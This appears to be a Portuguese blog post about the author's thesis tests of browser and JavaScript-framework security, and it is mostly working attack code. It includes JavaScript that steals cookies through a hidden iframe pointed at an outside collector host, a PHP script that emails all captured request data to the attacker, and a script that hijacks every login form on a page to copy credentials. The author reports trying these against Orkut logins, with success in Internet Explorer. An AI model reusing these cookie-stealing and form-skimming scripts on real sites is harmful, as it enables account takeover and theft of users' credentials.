Testes com Javascript segurança

Testes com Javascript segurança
Olá pessoal
A seguir demonstro alguns testes realizados com segurança em javascript e seus resultados demonstrados para o trabalho de conclusão de curso à qual me formei em 2008.
Este post já estava presente no outro blog, mas eu alterei algumas partes para melhor compreensão.
Todos os testes não visam quebrar a segurança de nenhum site, mas sim, verificar a segurança dos navegadores.
Eu vou mostrar os códigos que utilizei, e no final de cada, uma conclusão sobre se é válido ou não.
— primeiramente uma forma de se carregar por javascript um outro javascript na página do seu browser


var script     = document.createElement('script');
script.text     = eval('function teste() {alert(document.cookie)}');

_________

INCLUSÃO DE SCRIPT NO FIREBUG

Teste Falho

var script     = document.createElement('script');
script.text     = eval('function teste() {
document.write(\'<iframe width=1 height=1
src=http://www.sitehospedeiro.com.br/coletor.php?destino=teste@mailinator.com&amp;cookie=\'+document.cookie.replace(/ /g,\'\')+\'></iframe>\')
}');
Teste realizado com sucesso

var script     = document.createElement('script');
script.src     = 'http://www.sitehospedeiro.com.br/invasor.js';
document.body.appendChild(script);<strong><span style="font-size: medium; ">INCLUSÃO DE ARQUIVO EM SERVIDOR PRÓPRIO</span></strong>
coletor.php

< ?php

$assunto = "Hack";
$headers = "Content-type: text/html; charset=iso-8859-1\r\n";

$msg = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
}
.style2 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-size: 14px; }
-->
</style>
</head>
<body>
<h3 class="style1">Contato - '.$_SERVER['HTTP_HOST'].'</h3>
Dados Enviados:
<hr style="height:1px; color:#333333" height=1/>
';

// para cada variavel, cria uma linha como o nome e conteudo
foreach ($_REQUEST as $nome => $valor) {
$msg .="<b>".$nome."</b>: &amp;nbsp; ".$valor."
";
}

$msg.='
<hr style="height:1px; color:#333333" height=1/>
</body>
</html>';

// manda o email para o destinatario ( pessoa que está hackeando )
if (@mail('teste@mailinator.com', $assunto, $msg, $headers)) {
echo '.';// imprime uma msg somente para informar o envio do email
}

?>

invasor.js


function teste() {
document.write('<iframe width=1 height=1 src=http://www.sitehospedeiro.com.br/coletor.php?destino=teste@mailinator.com&amp;cookie='+document.cookie.replace(/ /g,'')+'&amp;url='+window.location+'></iframe>');
}

INCLUSÃO DE JAVASCRIPT EM LOGIN

Código que faz a modificação de todos os formulários da pagina para poder enviar os dados ao invasor.


var total = document.forms.length;
var invasor = 'http://www.sitehospedeiro.com.br/coletor.php';
var url_antiga ='';
var target_antigo = '';

var iframe = document.createElement("<iframe style='visibility:hidden;display:none' width=1 height=1 name=iframe_invasor ></iframe>'"); // cria um iframe invisivel

document.body.appendChild(iframe); // adiciona o iframe ao body

for (i = 0; i < total; i++) {
document.forms[i].onsubmit = function() {
target_antigo = this.target;
url_antiga = this.action; // pega a url antiga
this.action = invasor; // adiciona a url invasora ao formulario
this.target = 'iframe_invasor';
this.submit(); // faz a submissão

this.action = url_antiga;
this.target = target_antigo;
this.submit();
}
}
// teste 2 –  funcionou ( mandou os dados digitados no login por email sem utilizar ajax )
TESTESAlguns testes realizados com segurança em javascript e seus resultados demonstrados para o trabalho de conclusão de curso da faculdade à qual, graças a Deus estou concluindo.

( Todos os testes não visam quebrar a segurança de nenhum site, mas sim, verificar a segurança dos navegadores )

//primeiramente uma forma de se carregar por javascript um outro javascript na página do seu browser


var script     = document.createElement('script');
script.text     = eval('function teste() {alert(document.cookie)}');

_________

INCLUSÃO DE SCRIPT NO FIREBUG

Teste Falho

var script     = document.createElement('script');
script.text     = eval('function teste() {
document.write(\'<iframe width=1 height=1
src=http://www.sitehospedeiro.com.br/coletor.php?destino=teste@mailinator.com&amp;cookie=\'+document.cookie.replace(/ /g,\'\')+\'></iframe>\')
}');
Teste realizado com sucesso

var total = document.forms.length;
var invasor = 'http://www.sitehospedeiro.com.br/coletor.php';
var url_antiga ='';
var target_antigo = '';
var iframe2 = document.createElement("iframe");
iframe2.setAttribute("name","iframe_invasor");// cria um iframe invisivel
document.body.appendChild(iframe2); // adiciona o iframe ao body
for (i = 0; i < total; i++) {
document.forms[i].onsubmit = function() {
target_antigo = this.target;
url_antiga = this.action; // pega a url antiga
this.action = invasor; // adiciona a url invasora ao formulario
this.target = 'iframe_invasor';
this.submit(); // faz a submissão
this.action = url_antiga;
this.target = target_antigo;
this.submit();
}
}
Testes realizados nos navegadores aplicando o algoritmo acima no site Orkut.com
Mozilla Firefox
Testes realizados em conexão segura alertam sobre falsos redirecionamentos, conforme uma janela explicativa [Figura 1]. O email que seria enviado com os dados do login não foi enviado ao destinatário (luizwbr@gmail.com), demonstrando segurança em submissão de formulários sem a utilização de Ajax.
Fig. 1
Internet Explorer
Testes realizados obtiveram pleno sucesso enviando o email [Figura2] com os dados do login para o destinatário, demonstrando falha na segurança por não informar de possível fraude.
Fig. 2
Resultados:

-  Os frameworks sozinhos não representam uma ameaça à segurança de uma aplicação web a não ser que sejam utilizados em conjunto com linguagens cliente-servidor como PHP, no caso podendo ser feito o envio de emails, acesso a contas de FTP (File Transfer Protocol), e outros tipos de processamento no servidor.
INCLUSÃO DO PROTOTYPE – Captura de cookie

var script     = document.createElement('script');
script.src     = 'http://www.sitehospedeiro.com.br/scripts/prototype.js';
document.body.appendChild(script);
var script     = document.createElement('script');
script.src     = 'http://www.sitehospedeito.com.br/invasor.js';
document.body.appendChild(script);
var url = 'http://www.sitehospedeiro.com.br/coletor.php';
var params = ""+document.cookie;
new Ajax.Request(url, {
method: 'post',
params:params,
onComplete: function(){
alert('teste');
}

});
Site Orkut.com – funcionou mas não mandou email
INCLUSÃO DO JQUERY- Captura de cookie

var script     = document.createElement('script');
script.src     = 'http://www.sitehospedeiro.com.br/admin/scripts/jquery.js';
document.body.appendChild(script);
var url2 = 'http://www.sitehospedeiro.com.br/coletor.php';
var params = " "+document.cookie;
$.ajax({
type: "POST",
url: url2,
data: params,
success: function(msg){
alert( "Data Saved: " + msg );
}
});
Site Orkut.com – não funcionou
ERRO NO FIREFOX


Conclusão:

O ponto forte do meu trabalho de conclusão de curso (TCC) foi o tratamento de chamadas Ajax no formato Json não tendo nenhum tipo de tratamento de aspas ou comandos incluídos em nós da estrutura.

Isso ocorre porque a estrutura de dados que foi analisada era um vetor serializado ( vetor em formato de string ).
E para que os dados sejam possiveis de serem transformados de texto em vetor novamente, é necessário que se faça um EVAL ( função que executa strings como se fossem linhas de código ) para que a estrutura possa ser utilizada pelo javascript.

O fato que é nem todos os frameworks javascript possuem uma verificação de funções que foram injetadas dentro de texto comum, podendo ser executado comandos como envio de dados inautorizado para emails alheios, ou seja, abrindo brechas de segurança.

Entretanto, os frameworks estudados obtiveram êxito, pois não foi possível executar um código no retorno da chamada ajax, somente se fosse incluido um arquivo js na página e chamado o método desejado

Bom, espero que tenham aproveitado estas minhas experiências tentando explorar as falhas dos navegadores/frameworks.

Muitos dos erros que tentei simular já foram corrigidos, o que é bom para o lado do desenvolvedor.

Até mais.

blog comments powered by Disqus